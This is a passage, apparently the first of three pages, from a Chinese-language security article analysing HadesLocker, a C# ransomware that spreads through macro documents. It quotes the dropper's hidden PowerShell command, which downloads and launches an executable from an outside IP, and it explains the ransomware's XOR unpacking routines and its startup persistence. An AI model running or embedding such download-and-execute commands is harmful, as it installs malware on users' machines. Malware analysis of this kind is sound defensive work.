FavoriteLoading
0

直面冥王:最新爆发的C#敲诈木马HadesLocker解读

近日哈勃分析系统捕获到一类由C#语言编写的新的敲诈勒索木马。之前出现 的C#语言编写的木马只是简单地调用了一些C#库来辅助开发。与之相比,这次的变种增加了多层嵌套解密、动态反射调用 等复杂手段,外加多种混淆技术, 提升了分析难度。
木马加密文件时使用AES256算法, 在特定条件下可以还原加密的文件。
背景简介:
HadesLocker是10月份新爆发的一个敲诈勒索类木马,会加密用户 特定后缀名的文件,包括本地驱动器和网络驱动器, 加密后文件后缀为.~HL外加5个 随机字符,然后生成txt,html、png三种形式的文件来通知用户支付 赎金,桌面背景也会被改为生成的png文件。

打开支付赎金的网站可以看到,用户必须支付1比特币的赎金才能获取解密 密码,并且如果在规定的时间内没有支付,赎金价格将升至2比特币 。在该网站上,木马作者将其命名为HadesLocker。此网站域名为俄罗斯顶级域名ru,无法查询到进一步的注册信息。

样本分析:
原始传播文件依然延续了最近的趋势,使用宏文档进行传播,打开文档之后运行宏会 启动powershell命令,下载木马主体并且运行 :
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://185.*.*.66/update.exe','C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe'); Start-Process('C:\Users\ADMINI~1\AppData\Local\Temp\update345.exe')
其中的下载IP经查询来自荷兰。
下载到的update345.exe是一个rar自解压 包,打开后可以看到包含3个文件, 其中一个exe是木马启动入口,另外两个文件均是一些二进制数据。

Osiyykss.exe是一个C#程序,所有 的源码都经过了混淆,主要包括函数名与变量名混淆 ,执行流程混淆,外加垃圾指令等。
例如下面是其中一个较为简单的被混淆的方法:

可以看到混淆形式如下:
while(true)
{
switch()
case 1:
case 2:
……
}
使用其中硬编码的一些大数常量,然后 通过各种运算决定进哪个执行分支,以此 混淆执行流。因此后面可以看到,本文几乎所有截图中的代码 基本都在某个switch的case里。外加所有的字符串都是动态解密的,这 对静态分析造成了很大困扰,所以主要需要依靠动态调试这个样本。
Osiyykss.exe分析:
Osiyykss.exe启动后首先读取压缩包内的另一个文件Krrxoeoaonmsiyyk.png, 并且开始解密:

Krrxoeoaonmsiyyk.png解密后是一个C#程序集,解密 方法不算复杂,使用固定的字符串“Dlghooxwxclesvxamv” 为key,然后顺序异或加密。由此可得到 解密算法为:
For i in FileSize:
FileBytes[i] ^= Key[ i % KenLen ];
解密后的程序集是这样的:

解密后Osiyykss.exe使用延迟绑定技术动态调用 这个名为”IE”的程序集:

IE程序集:
首先木马将自身复制到AppData\Roaming\wow6232node目录 下,此目录名怀疑是模仿系统中常见的WOW6432Node的名称。

然后创建一个快捷方式,指向wow6232node目录下的 新文件,并且将快捷方式设置为自启动项。

接下来读取压缩包的另一个文件Senagxehdojk.xml,并且调用IE:PolyDecrypt开始解密 ,解密的key与之前解密IE程序集的key一样 ,但是解密方法略有不同,解密算法大意如下:
For i in FileSize*2:
FileBytes[i % FileSize] = (BYTE)(((int)((FileBytes[i % FileSize] ^ Key[i % KeyLen]) - FileBytes[(i + 1) % FileSize]) + 256) % 256);

Senagxehdojk.xml解密后为另一个程序集S oftware,这个程序集才是敲诈木马实现 加密勒索的主要程序集,但木马十分狡猾,并没有直接调用该程序集。

分页阅读: 1 2 3
【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱hack@ddos.kim,我们会在最短的时间内进行处理。